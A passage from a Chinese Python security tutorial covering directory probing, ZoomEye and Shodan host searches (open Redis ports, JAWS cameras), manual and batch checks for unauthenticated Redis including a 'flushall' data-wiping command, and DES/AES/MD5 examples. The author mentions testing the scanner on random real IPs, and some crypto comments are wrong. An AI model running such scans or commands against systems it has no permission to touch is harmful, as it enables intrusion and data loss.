    <span class="token keyword">with</span> <span class="token builtin">open</span><span class="token punctuation">(</span>txt<span class="token punctuation">,</span> <span class="token string">'r'</span><span class="token punctuation">)</span> <span class="token keyword">as</span> f<span class="token punctuation">:</span>
        url_list <span class="token operator">=</span> f<span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>split<span class="token punctuation">(</span><span class="token string">'\n'</span><span class="token punctuation">)</span>
<span class="token keyword">except</span><span class="token punctuation">:</span>
    <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"error"</span><span class="token punctuation">)</span>

<span class="token keyword">for</span> li <span class="token keyword">in</span> url_list<span class="token punctuation">:</span>
    conn <span class="token operator">=</span> <span class="token string">"http://"</span><span class="token operator">+</span> url <span class="token operator">+</span> <span class="token string">"/"</span> <span class="token operator">+</span> li
    <span class="token keyword">try</span><span class="token punctuation">:</span>
        response <span class="token operator">=</span> requests<span class="token punctuation">.</span>get<span class="token punctuation">(</span>conn<span class="token punctuation">,</span> headers<span class="token operator">=</span>headers<span class="token punctuation">)</span>
        <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"%s --------------- %s"</span> <span class="token operator">%</span> <span class="token punctuation">(</span>conn<span class="token punctuation">,</span> response<span class="token punctuation">)</span><span class="token punctuation">)</span>
    <span class="token keyword">except</span><span class="token punctuation">:</span>
        <span class="token comment"># print("%s --------------- %s" % (conn, e.code))</span>
        <span class="token keyword">pass</span>

</code></pre> 
  <p><a href="http://img.e-com-net.com/image/info8/b5b10d72263a4e71aaa889a481a6be80.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/b5b10d72263a4e71aaa889a481a6be80.jpg" alt="Python安全攻防-从入门到入狱_第18张图片" width="549" height="372" style="border:1px solid black;"></a></p> 
  <h2>四、网络空间搜索引擎</h2> 
  <p><s>平常用fofa,不过貌似最近摊上事了,域名被列入了黑名单</s></p> 
  <blockquote> 
   <p>搜索引擎是指从互联网搜集信息,经过一定整理以后,提供给用户进行查询的系统传统搜索引擎对我们来说并不陌生,像Google、百度等,每天我们几乎都会用它们来搜索消息。与<font face="STCAIYUN">传统搜索引擎</font>相比,<font color="LightSeaGreen">网络空间搜索引擎有很大不同,其搜索目标为全球的IP地址,实时扫描互联网和解析各种设备,对网络中的设备进行探测识别和指纹分析,并将其扫描的目标信息进行分布式存储,供需求者检索使用。传统的网络空间搜索模型框架一般由五部分组成:扫描和指纹识别、分布存储、索引、UI界面以及调度程序。</font></p> 
  </blockquote> 
  <p>  <strong>网络空间搜索引擎</strong>️能够帮助安全研究人员针对APT组织、攻击方式等情况进行分析;对于公司安全管理人员‍,能够帮助他们进行网络资产匹配、安全评估等;对于安全白帽子,能够帮助渗透测试人员在与目标非交互的情况下搜集信息,例如,<strong>搜索资产</strong>、<strong>系统类型</strong>,<strong>开放端口</strong>等。</p> 
  <p>Quake网络空间测绘系统(360)<br> 资产狩猎框架-AssetsHunter<br> Censys搜索引擎<br> Zoomeye(钟馗之眼)<br> Shodan(撒旦)</p> 
  <h3>Zoomeye(钟馗之眼)</h3> 
  <blockquote> 
   <p>   <strong>Zoomeye</strong>支持公网设备指纹检索和Web指纹检索。Web指纹识别包括应用名版本、前端框架、后端框架、服务端语言、服务器操作系统、网站容器、内容管理系统和数据库等。设备指纹识别包括应用名、版本、开放端口、操作系统、服务名、地理位置等,直接输人关键词即可开始检索。</p> 
  </blockquote> 
  <center> <big><b>设备检索指纹语法</b></big> 
  </center> 
  <table> 
   <thead> 
    <tr> 
     <th align="center">语法</th> 
     <th align="center">描述</th> 
     <th align="center">实例</th> 
    </tr> 
   </thead> 
   <tbody> 
    <tr> 
     <td align="center">app:组件名</td> 
     <td align="center">组件名称</td> 
     <td align="center">app:“Apache httpd”</td> 
    </tr> 
    <tr> 
     <td align="center">ver:组件版本</td> 
     <td align="center">组件的版本号</td> 
     <td align="center">ver:“2.2.16”</td> 
    </tr> 
    <tr> 
     <td align="center">port:端口号</td> 
     <td align="center">目标系统开放端口</td> 
     <td align="center">port:3389</td> 
    </tr> 
    <tr> 
     <td align="center">os:操作系统</td> 
     <td align="center">目标操作系统类型</td> 
     <td align="center">os:linux</td> 
    </tr> 
    <tr> 
     <td align="center">service:服务名</td> 
     <td align="center">系统运行的服务类型</td> 
     <td align="center">service:“ssh”</td> 
    </tr> 
    <tr> 
     <td align="center">hostname:主机名</td> 
     <td align="center">目标系统的主机名</td> 
     <td align="center">hostname:google.com</td> 
    </tr> 
    <tr> 
     <td align="center">country:国家或者地区代码</td> 
     <td align="center">目标系统的地理位置</td> 
     <td align="center">country:US</td> 
    </tr> 
    <tr> 
     <td align="center">city:城市名称</td> 
     <td align="center">目标系统所在城市</td> 
     <td align="center">city:“beijing”</td> 
    </tr> 
    <tr> 
     <td align="center">ip:指定的IP地址</td> 
     <td align="center">目标系统对应的IP地址</td> 
     <td align="center">ip:8.8.8.8</td> 
    </tr> 
    <tr> 
     <td align="center">org:组织结构</td> 
     <td align="center">所属的组织结构</td> 
     <td align="center">org:“Vimpelcom”</td> 
    </tr> 
    <tr> 
     <td align="center">asn:自治系统号</td> 
     <td align="center">自治系统编号</td> 
     <td align="center">asn:42839</td> 
    </tr> 
    <tr> 
     <td align="center">ssl:SSL证书</td> 
     <td align="center">SSL证书</td> 
     <td align="center">ssl:“corp.google.com”</td> 
    </tr> 
   </tbody> 
  </table> 
  <center> <big><b>Web指纹检索语法</b></big> 
  </center> 
  <table> 
   <thead> 
    <tr> 
     <th align="center">语法</th> 
     <th align="center">描述</th> 
     <th align="center">实例</th> 
    </tr> 
   </thead> 
   <tbody> 
    <tr> 
     <td align="center">app:组件名</td> 
     <td align="center">组件名称</td> 
     <td align="center">app:“Apache httpd”</td> 
    </tr> 
    <tr> 
     <td align="center">ver:组件版本</td> 
     <td align="center">组件的版本号</td> 
     <td align="center">ver:“2.2.16”</td> 
    </tr> 
    <tr> 
     <td align="center">site:网站域名</td> 
     <td align="center">目标网站域名</td> 
     <td align="center">site:google.com</td> 
    </tr> 
    <tr> 
     <td align="center">os:操作系统</td> 
     <td align="center">目标操作系统类型</td> 
     <td align="center">os:linux</td> 
    </tr> 
    <tr> 
     <td align="center">title:页面标题</td> 
     <td align="center">网站标题</td> 
     <td align="center">site:Nginx</td> 
    </tr> 
    <tr> 
     <td align="center">kewords:页面关键字</td> 
     <td align="center">网站页面关键字</td> 
     <td align="center">keywords:Nginx</td> 
    </tr> 
    <tr> 
     <td align="center">desc:页面说明</td> 
     <td align="center">页面描述字段</td> 
     <td align="center">desc:Nginx</td> 
    </tr> 
    <tr> 
     <td align="center">headers:请求头部</td> 
     <td align="center">HTTP请求中的Headers</td> 
     <td align="center">headers:Server</td> 
    </tr> 
    <tr> 
     <td align="center">country:国家或者地区代码</td> 
     <td align="center">目标系统的地理位置</td> 
     <td align="center">country:US</td> 
    </tr> 
    <tr> 
     <td align="center">city:城市名称</td> 
     <td align="center">目标系统所在城市</td> 
     <td align="center">city:“beijing”</td> 
    </tr> 
    <tr> 
     <td align="center">ip:指定的IP地址</td> 
     <td align="center">目标系统对应的IP地址</td> 
     <td align="center">ip:8.8.8.8</td> 
    </tr> 
    <tr> 
     <td align="center">org:组织机构</td> 
     <td align="center">所属的组织机构</td> 
     <td align="center">org:“Vimpelcom”</td> 
    </tr> 
    <tr> 
     <td align="center">asn:自治系统号</td> 
     <td align="center">自治系统编号</td> 
     <td align="center">asn:42839</td> 
    </tr> 
   </tbody> 
  </table> 
  <h4>调用ZoomEye(钟馗之眼)的API接口实现自动化信息搜集</h4> 
  <p><code>ZoomEye-API 分为两种验证方式,API-KEY 和登录验证</code><br> ZoomEye API手册<br> <code>curl -X POST https://api.zoomeye.org/user/login -d '{"username": "28********@qq.com","password": "123456"}'</code><br> <a href="http://img.e-com-net.com/image/info8/8dab0ab386844f75b69fdbe6d31d67be.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/8dab0ab386844f75b69fdbe6d31d67be.jpg" alt="Python安全攻防-从入门到入狱_第19张图片" width="650" height="106" style="border:1px solid black;"></a><br> <code>使用host方法,查询开放6379端口的服务器IP地址,并打印出检索到的lP地址和端口号</code></p> 
  <pre><code class="prism language-python"><span class="token keyword">import</span> requests
<span class="token keyword">import</span> json
<span class="token keyword">from</span> bs4 <span class="token keyword">import</span> BeautifulSoup

data_info <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token string">'username'</span><span class="token punctuation">:</span><span class="token string">"z***@qq.com"</span><span class="token punctuation">,</span><span class="token string">'password'</span><span class="token punctuation">:</span><span class="token string">"P******X"</span><span class="token punctuation">}</span> 
respond1<span class="token operator">=</span> requests<span class="token punctuation">.</span>post<span class="token punctuation">(</span>url <span class="token operator">=</span> <span class="token string">'https://api.zoomeye.org/user/login'</span><span class="token punctuation">,</span>json <span class="token operator">=</span> data_info<span class="token punctuation">)</span>

authorization <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token string">'Authorization'</span> <span class="token punctuation">:</span> <span class="token string">'JWT '</span> <span class="token operator">+</span><span class="token string">"eyJhbGciOiJIU***kpXVCJ9.eyJpZGVudG*MzA1***********mJmIjoxN*I-ZMB0zG*tPZK11FCo"</span><span class="token punctuation">}</span>
url <span class="token operator">=</span> <span class="token string">"https://api.zoomeye.org/host/search?query=port:6379&page=1&facet=app,os"</span>
respond <span class="token operator">=</span> requests<span class="token punctuation">.</span>get<span class="token punctuation">(</span>url <span class="token operator">=</span> url<span class="token punctuation">,</span>headers <span class="token operator">=</span> authorization<span class="token punctuation">)</span>

data <span class="token operator">=</span> json<span class="token punctuation">.</span>loads<span class="token punctuation">(</span>respond<span class="token punctuation">.</span>text<span class="token punctuation">)</span>

<span class="token keyword">for</span> line <span class="token keyword">in</span> data<span class="token punctuation">[</span><span class="token string">'matches'</span><span class="token punctuation">]</span><span class="token punctuation">:</span>
    <span class="token keyword">print</span><span class="token punctuation">(</span>line<span class="token punctuation">[</span><span class="token string">'ip'</span><span class="token punctuation">]</span><span class="token operator">+</span><span class="token string">': '</span><span class="token operator">+</span><span class="token builtin">str</span><span class="token punctuation">(</span>line<span class="token punctuation">[</span><span class="token string">'portinfo'</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'port'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span>
</code></pre> 
  <p><a href="http://img.e-com-net.com/image/info8/03fafa5a5be843949da9d4f41cbf1841.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/03fafa5a5be843949da9d4f41cbf1841.jpg" alt="Python安全攻防-从入门到入狱_第20张图片" width="378" height="444" style="border:1px solid black;"></a></p> 
  <h3>Shodan</h3> 
  <blockquote> 
   <p>  <strong>Shodan</strong>主要获取互联网中设备中的服务、位置、端口、版本等信息,目前比较受欢迎的内容有webcam、linksys、 cisco、 nctgear、SCADA等。通过不同的搜索语法可以做到批量搜索漏洞主机、统计中病毒主机、进行弱口令爆破、获取shell等功能。</p> 
  </blockquote> 
  <center> <big><b>Shoda常用语法</b></big> 
  </center> 
  <table> 
   <thead> 
    <tr> 
     <th align="center">语法</th> 
     <th align="center">描述</th> 
     <th align="center">实例</th> 
    </tr> 
   </thead> 
   <tbody> 
    <tr> 
     <td align="center">city:城市名称</td> 
     <td align="center">城市</td> 
     <td align="center">city:“beijing”</td> 
    </tr> 
    <tr> 
     <td align="center">country:国家或者地区代码</td> 
     <td align="center">国家的简称</td> 
     <td align="center">countIy:“CN”</td> 
    </tr> 
    <tr> 
     <td align="center">geo:经纬度</td> 
     <td align="center">经纬度</td> 
     <td align="center">geo:“46.9481,7.4474”</td> 
    </tr> 
    <tr> 
     <td align="center">hostname:主机名</td> 
     <td align="center">主机名或域名</td> 
     <td align="center">hostname:“baidu”</td> 
    </tr> 
    <tr> 
     <td align="center">ip:IP地址</td> 
     <td align="center">IP地址</td> 
     <td align="center">ip:“11.11.11.11”</td> 
    </tr> 
    <tr> 
     <td align="center">isp: ISP供应商</td> 
     <td align="center">ISP供应商</td> 
     <td align="center">isp:“China Telecom”</td> 
    </tr> 
    <tr> 
     <td align="center">org:组织或者公司</td> 
     <td align="center">组织或者公司</td> 
     <td align="center">org:“baidu”</td> 
    </tr> 
    <tr> 
     <td align="center">os:操作系统</td> 
     <td align="center">操作系统</td> 
     <td align="center">os:Windows 7 or 8</td> 
    </tr> 
    <tr> 
     <td align="center">port:端口号</td> 
     <td align="center">端口号</td> 
     <td align="center">port:80</td> 
    </tr> 
    <tr> 
     <td align="center">net:CIDR格式的IP地址</td> 
     <td align="center">CIDR格式的IP地址</td> 
     <td align="center">net:“190.30.40.0/24”</td> 
    </tr> 
    <tr> 
     <td align="center">versjon:软件版本号</td> 
     <td align="center">软件版本</td> 
     <td align="center">version:“4.4.2”</td> 
    </tr> 
    <tr> 
     <td align="center">vuln:漏洞编号</td> 
     <td align="center">漏洞CVE编号</td> 
     <td align="center">vuln:CVE-2020-0787</td> 
    </tr> 
    <tr> 
     <td align="center">http.server:服务类型</td> 
     <td align="center">http请求返回中server的类型</td> 
     <td align="center">http.server:apache</td> 
    </tr> 
    <tr> 
     <td align="center">http.status:请求状态码</td> 
     <td align="center">http请求返回响应码的状态</td> 
     <td align="center">http.stams:200</td> 
    </tr> 
   </tbody> 
  </table> 
  <h4>调用Shodan的API接口实现自动化信息搜集</h4> 
  <blockquote> 
   <p>使用Python去调用Shodan的API接口可以实现自动化信息搜集,首先需要注册,在MyAccount中可以️APIKey.</p> 
  </blockquote> 
  <p><a href="http://img.e-com-net.com/image/info8/84ddc9a268ee49c1ab0ca474c6ae1617.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/84ddc9a268ee49c1ab0ca474c6ae1617.jpg" alt="Python安全攻防-从入门到入狱_第21张图片" width="650" height="426" style="border:1px solid black;"></a><br> Shodan API官方文档</p> 
  <pre><code class="prism language-python"><span class="token keyword">import</span> shodan
<span class="token keyword">import</span> json

Shodan_API_KEY <span class="token operator">=</span> <span class="token string">'q************************0'</span>
shodan_api <span class="token operator">=</span> shodan<span class="token punctuation">.</span>Shodan<span class="token punctuation">(</span>Shodan_API_KEY<span class="token punctuation">)</span>
<span class="token comment"># ip = shodan_api.host('8.8.8.8')     # host()方法获取指定IP的相关信息</span>

<span class="token comment"># 搜索JAWS摄像头,并将IP和端口打印出来</span>
results <span class="token operator">=</span> shodan_api<span class="token punctuation">.</span>search<span class="token punctuation">(</span><span class="token string">'JAWS/1.0'</span><span class="token punctuation">)</span>
<span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"共有%s"</span><span class="token operator">%</span>results<span class="token punctuation">[</span><span class="token string">'total'</span><span class="token punctuation">]</span><span class="token operator">+</span><span class="token string">"条搜索结果"</span><span class="token punctuation">)</span>
<span class="token keyword">for</span> result <span class="token keyword">in</span> results<span class="token punctuation">[</span><span class="token string">'matches'</span><span class="token punctuation">]</span><span class="token punctuation">:</span>
    <span class="token keyword">print</span><span class="token punctuation">(</span>result<span class="token punctuation">[</span><span class="token string">'ip_str'</span><span class="token punctuation">]</span><span class="token operator">+</span><span class="token string">":"</span><span class="token operator">+</span><span class="token builtin">str</span><span class="token punctuation">(</span>result<span class="token punctuation">[</span><span class="token string">'port'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span>
</code></pre> 
  <p><a href="http://img.e-com-net.com/image/info8/83496381a0ff439696d2bcfd1acb02f3.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/83496381a0ff439696d2bcfd1acb02f3.jpg" alt="Python安全攻防-从入门到入狱_第22张图片" width="481" height="415" style="border:1px solid black;"></a></p> 
  <h3>小结</h3> 
  <blockquote> 
   <p>  作为渗透测试的-信息搜集,信息搜集的完整性决定了你渗透测试的结果.<code>工欲其事,必先利其器</code>。让<font size="6" face="黑体" color="#0099ff">Python</font>完全替代现有的渗透测试工具不太现实,但可以让我们更好的理解我们当今大多数渗透测试工具的原理,为我们以后⚒⚒⚒⚒⚒⚒工具打下基础。</p> 
  </blockquote> 
  <h2>五、漏洞检测与防御</h2> 
  <h3>Redis未授权访问漏洞</h3> 
  <blockquote> 
   <p>  <strong>未授权访问漏洞</strong>可以理解为安全配置、权限认证、授权页面存在缺陷,导致其他用户可以直接访问,从而引发权限可被操作数据库、网站目录等敏感信息泄露。目前存在未授权访问漏洞的服务主要包括:NFS、 Samba、LDAP、Rsync、FTP、GitLab、Jenkms、MongoDB、Redis、ZooKeeper、ElasticSearch、Memcache、CouchDB、Docker、Solr、Hadoop等。</p> 
  </blockquote> 
  <p>通过手工进行未授权访问验证,在安装Redis服务的Kall系统中<strong>连接☌</strong>,如果目标系统存在<strong>未授权访问漏洞</strong>,则可以成功<strong>连接☌</strong></p> 
  <p><code>redis-cli -h 192.168.12.128</code> <strong>在本地搭建的redis漏洞环境</strong><br> <code>keys *</code> <strong>查看key和其对应的值</strong><br> <code>get user</code> <strong>获取用户名</strong><br> <code>get password</code> <strong>获取登录指令</strong><br> <code>flushall</code> <strong>删除所有数据</strong></p> 
  <p><code>info</code> <strong>返回关于 Redis 服务器的各种信息和统计数值</strong><br> <a href="http://img.e-com-net.com/image/info8/6ccf95b5b3c84712bda6816dae0670cd.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/6ccf95b5b3c84712bda6816dae0670cd.jpg" alt="Python安全攻防-从入门到入狱_第23张图片" width="333" height="135" style="border:1px solid black;"></a></p> 
  <h4>Python批量检测Redis未授权访问漏洞</h4> 
  <pre><code class="prism language-python"><span class="token keyword">import</span> sys
<span class="token keyword">import</span> socket
<span class="token triple-quoted-string string">'''
socket连接远程主机的IP及端口号,发送info命令.利用recvdata()函数接收目标
主机返回的数据,当时返回的数据含有'redis verslon'字符串时,表明存在未授权访问漏
洞,否则不存在.
'''</span> 
<span class="token comment"># 随便找了几个ip测试下</span>
<span class="token keyword">with</span> <span class="token builtin">open</span><span class="token punctuation">(</span><span class="token string">'redis.txt'</span><span class="token punctuation">,</span><span class="token string">"r"</span><span class="token punctuation">)</span> <span class="token keyword">as</span> f<span class="token punctuation">:</span>
    url<span class="token operator">=</span> f<span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token punctuation">)</span>

<span class="token keyword">def</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>
    <span class="token keyword">for</span> ip <span class="token keyword">in</span> url<span class="token punctuation">.</span>split<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>
        s <span class="token operator">=</span> socket<span class="token punctuation">.</span>socket<span class="token punctuation">(</span>socket<span class="token punctuation">.</span>AF_INET<span class="token punctuation">,</span> socket<span class="token punctuation">.</span>SOCK_STREAM<span class="token punctuation">)</span>
        s<span class="token punctuation">.</span>settimeout<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span>  <span class="token comment"># 限制超时1秒</span>
        s<span class="token punctuation">.</span>connect<span class="token punctuation">(</span><span class="token punctuation">(</span>ip<span class="token punctuation">,</span><span class="token number">6379</span><span class="token punctuation">)</span><span class="token punctuation">)</span>
        s<span class="token punctuation">.</span>send<span class="token punctuation">(</span><span class="token string">'INFO\r\n'</span><span class="token punctuation">.</span>encode<span class="token punctuation">(</span><span class="token string">'utf-8'</span><span class="token punctuation">)</span><span class="token punctuation">)</span>   <span class="token comment"># info命令返回服务器版本</span>
        recv_data<span class="token operator">=</span> s<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token number">1024</span><span class="token punctuation">)</span> 
        <span class="token keyword">if</span> <span class="token string">"redis_version"</span> <span class="token keyword">in</span> recv_data<span class="token punctuation">.</span>decode<span class="token punctuation">(</span><span class="token string">'utf-8'</span><span class="token punctuation">)</span><span class="token punctuation">:</span>
             <span class="token keyword">print</span><span class="token punctuation">(</span>ip<span class="token operator">+</span><span class="token string">":存在Redis未授权访问漏洞"</span><span class="token punctuation">)</span>
        <span class="token keyword">else</span><span class="token punctuation">:</span>
            <span class="token keyword">pass</span>
        s<span class="token punctuation">.</span>close<span class="token punctuation">(</span><span class="token punctuation">)</span>

f<span class="token punctuation">.</span>close<span class="token punctuation">(</span><span class="token punctuation">)</span>
<span class="token keyword">if</span> __name__ <span class="token operator">==</span>   <span class="token string">'__main__'</span><span class="token punctuation">:</span>
    main<span class="token punctuation">(</span><span class="token punctuation">)</span>
</code></pre> 
  <p><a href="http://img.e-com-net.com/image/info8/c30b3a7f9baf48c29be21e12d736b8e6.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/c30b3a7f9baf48c29be21e12d736b8e6.jpg" alt="Python安全攻防-从入门到入狱_第24张图片" width="650" height="309" style="border:1px solid black;"></a><br> ⛸️⛸️⛸️⛸️⛸️⛸️</p> 
  <h4>漏洞防御与检测</h4> 
  <p><font color="#FF000"><strong>Redis未授权访问漏洞</strong></font>产生的危害<strong>☠︎☠︎☠︎</strong>很大,甚至可以批量获取目标系统的权限,有必要针对该漏洞进行严格限制和防御。针对该漏洞的防御方式有很多,下面是常见的<strong>︎︎︎</strong>方式:<br> 1️⃣禁止远程使用高危命令。<br> 2️⃣低权限运行Redis服务。<br> 3️⃣禁止外网访问Redis。<br> 4️⃣阻止其他用户添加新的公钥,将authorized-keys的权限设置为对拥有者只读。</p> 
  <h2>六、数据加密</h2> 
  <blockquote> 
   <p>根据明文处理方式的不同分为<strong>序列密码</strong>与<strong>分组密码</strong>,根据密钥的使用个数不同分为<strong>对称加密算法</strong>和<strong>非对称加密算法</strong>.</p> 
  </blockquote> 
  <p><code>常见的对称加密算法包括DES、AES等</code></p> 
  <h3>Python实现DES加解密</h3> 
  <p><code>通过Cryptodome库函数实现对字符串进行DES加解密。由于DES为分组密码的加密方式,其工作模式有五种: ECB、CBC、CTR、CFB、OFB</code></p> 
  <pre><code class="prism language-python"><span class="token keyword">from</span> Crypto<span class="token punctuation">.</span>Cipher <span class="token keyword">import</span> DES
<span class="token keyword">import</span> binascii

key <span class="token operator">=</span> <span class="token string">'12345678'</span>                 <span class="token comment"># 密钥</span>
des <span class="token operator">=</span> DES<span class="token punctuation">.</span>new<span class="token punctuation">(</span>key<span class="token punctuation">.</span>encode<span class="token punctuation">(</span><span class="token string">'utf-8'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>DES<span class="token punctuation">.</span>MODE_ECB<span class="token punctuation">)</span>  <span class="token comment"># ECB模式</span>
text <span class="token operator">=</span> <span class="token builtin">input</span><span class="token punctuation">(</span><span class="token string">"请输入要加密的字符串:"</span><span class="token punctuation">)</span>               <span class="token comment"># 要加密的字符串</span>
text <span class="token operator">=</span> text <span class="token operator">+</span> <span class="token punctuation">(</span><span class="token number">8</span><span class="token operator">-</span><span class="token punctuation">(</span><span class="token builtin">len</span><span class="token punctuation">(</span>text<span class="token punctuation">)</span><span class="token operator">%</span><span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token string">'='</span>  <span class="token comment"># 数据块对齐</span>

<span class="token comment"># 加密</span>
encrypt_text <span class="token operator">=</span> des<span class="token punctuation">.</span>encrypt<span class="token punctuation">(</span>text<span class="token punctuation">.</span>encode<span class="token punctuation">(</span><span class="token string">'utf-8'</span><span class="token punctuation">)</span><span class="token punctuation">)</span>  <span class="token comment">#</span>
Result1 <span class="token operator">=</span> binascii<span class="token punctuation">.</span>b2a_hex<span class="token punctuation">(</span>encrypt_text<span class="token punctuation">)</span>   <span class="token comment"># 字符串转为16进制</span>
<span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"DES加密后:"</span><span class="token operator">+</span><span class="token builtin">str</span><span class="token punctuation">(</span>Result1<span class="token punctuation">)</span><span class="token punctuation">)</span>

<span class="token comment"># 解密</span>
decrypt_text <span class="token operator">=</span> binascii<span class="token punctuation">.</span>a2b_hex<span class="token punctuation">(</span>Result1<span class="token punctuation">)</span>
Result2 <span class="token operator">=</span> des<span class="token punctuation">.</span>decrypt<span class="token punctuation">(</span>decrypt_text<span class="token punctuation">)</span>
<span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"DES解密后:"</span><span class="token operator">+</span><span class="token builtin">str</span><span class="token punctuation">(</span>Result2<span class="token punctuation">)</span><span class="token punctuation">)</span>
</code></pre> 
  <p><a href="http://img.e-com-net.com/image/info8/79c530eda6d145f691e18cead95eeffd.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/79c530eda6d145f691e18cead95eeffd.jpg" alt="Python安全攻防-从入门到入狱_第25张图片" width="650" height="277" style="border:1px solid black;"></a></p> 
  <h3>Python实现AES加解密</h3> 
  <blockquote> 
   <p><strong>AES加密算法</strong>的轮函数采用代替/置换网络结构,包括S盒变换(ByteSub)、行移位变换(ShjhRow)、列混合变换(MixColumn)、圈密钥加变换(AddRoundKey)。</p> 
  </blockquote> 
  <p><code>AES为分组密码的加密方式,其工作模式有五种: ECB、CBC、CTR、CFB、OFB.</code></p> 
  <pre><code class="prism language-python"><span class="token keyword">from</span> Crypto<span class="token punctuation">.</span>Cipher <span class="token keyword">import</span> AES
<span class="token keyword">import</span> binascii

key <span class="token operator">=</span> <span class="token string">'abcdefghabcdefgh'</span>                 <span class="token comment"># 密钥长度须为8字节</span>
aes <span class="token operator">=</span> AES<span class="token punctuation">.</span>new<span class="token punctuation">(</span>key<span class="token punctuation">.</span>encode<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span>AES<span class="token punctuation">.</span>MODE_ECB<span class="token punctuation">)</span>  <span class="token comment"># ECB模式</span>
text <span class="token operator">=</span> <span class="token builtin">input</span><span class="token punctuation">(</span><span class="token string">"请输入要加密的字符串:"</span><span class="token punctuation">)</span>      <span class="token comment"># 要加密的字符串需为8字节的倍数</span>
text <span class="token operator">=</span> text <span class="token operator">+</span> <span class="token punctuation">(</span><span class="token number">16</span><span class="token operator">-</span><span class="token punctuation">(</span><span class="token builtin">len</span><span class="token punctuation">(</span>text<span class="token punctuation">)</span><span class="token operator">%</span><span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token string">'='</span>  <span class="token comment"># 数据块对齐</span>

<span class="token comment"># 加密</span>
encrypt_text <span class="token operator">=</span> aes<span class="token punctuation">.</span>encrypt<span class="token punctuation">(</span>text<span class="token punctuation">.</span>encode<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>  
Result1 <span class="token operator">=</span> binascii<span class="token punctuation">.</span>b2a_hex<span class="token punctuation">(</span>encrypt_text<span class="token punctuation">)</span>   <span class="token comment"># 字符串转为16进制</span>
<span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"AES加密后:"</span><span class="token operator">+</span><span class="token builtin">str</span><span class="token punctuation">(</span>Result1<span class="token punctuation">)</span><span class="token punctuation">)</span>

<span class="token comment"># 解密</span>
decrypt_text <span class="token operator">=</span> binascii<span class="token punctuation">.</span>a2b_hex<span class="token punctuation">(</span>Result1<span class="token punctuation">)</span>   <span class="token comment"># 16进制转为字符串</span>
Result2 <span class="token operator">=</span> aes<span class="token punctuation">.</span>decrypt<span class="token punctuation">(</span>decrypt_text<span class="token punctuation">)</span>
<span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"AES解密后:"</span><span class="token operator">+</span><span class="token builtin">str</span><span class="token punctuation">(</span>Result2<span class="token punctuation">)</span><span class="token punctuation">)</span>
</code></pre> 
  <p><a href="http://img.e-com-net.com/image/info8/6c9bd27b08024da28709548539f8e5b7.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/6c9bd27b08024da28709548539f8e5b7.jpg" alt="Python安全攻防-从入门到入狱_第26张图片" width="650" height="239" style="border:1px solid black;"></a></p> 
  <h3>Python实现MD5加密</h3> 
  <blockquote> 
   <p>MD5是以512位的分组来处理输人的信息,并且将每一分组又划分成16个32位的子分组,经过了一系列的处理后,算法的输出由四个32位的分组组成,将这四个32位的分组结合后将生成一个128位的散列值.</p> 
  </blockquote> 
  <p><code>用Python实现MD5加密时用到的是hashlib模块,可以通过hashlib标准库使用多种Hash算法,如SHA1、SHA224、SHA256、SHA384、SHA512和MD5算法等。</code></p> 
  <pre><code class="prism language-python"><span class="token keyword">from</span> hashlib <span class="token keyword">import</span> md5

<span class="token keyword">def</span> <span class="token function">main</span><span class="token punctuation">(</span>s<span class="token punctuation">)</span><span class="token punctuation">:</span>
    new_md5 <span class="token operator">=</span> md5<span class="token punctuation">(</span><span class="token punctuation">)</span>
    new_md5<span class="token punctuation">.</span>update<span class="token punctuation">(</span>s<span class="token punctuation">.</span>encode<span class="token punctuation">(</span><span class="token string">'utf-8'</span><span class="token punctuation">)</span><span class="token punctuation">)</span>
    <span class="token keyword">print</span><span class="token punctuation">(</span>new_md5<span class="token punctuation">.</span>hexdigest<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>


<span class="token keyword">if</span> __name__ <span class="token operator">==</span> <span class="token string">'__main__'</span><span class="token punctuation">:</span>
    main<span class="token punctuation">(</span><span class="token builtin">input</span><span class="token punctuation">(</span><span class="token string">"请输入要加密的字符串:"</span><span class="token punctuation">)</span><span class="token punctuation">)</span>
</code></pre> 
  <p><a href="http://img.e-com-net.com/image/info8/9379f3295e834bb78cfeaa6c84246bc1.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/9379f3295e834bb78cfeaa6c84246bc1.jpg" alt="Python安全攻防-从入门到入狱_第27张图片" width="650" height="348" style="border:1px solid black;"></a></p> 
  <h2>七、身份认证</h2> 
  <blockquote> 
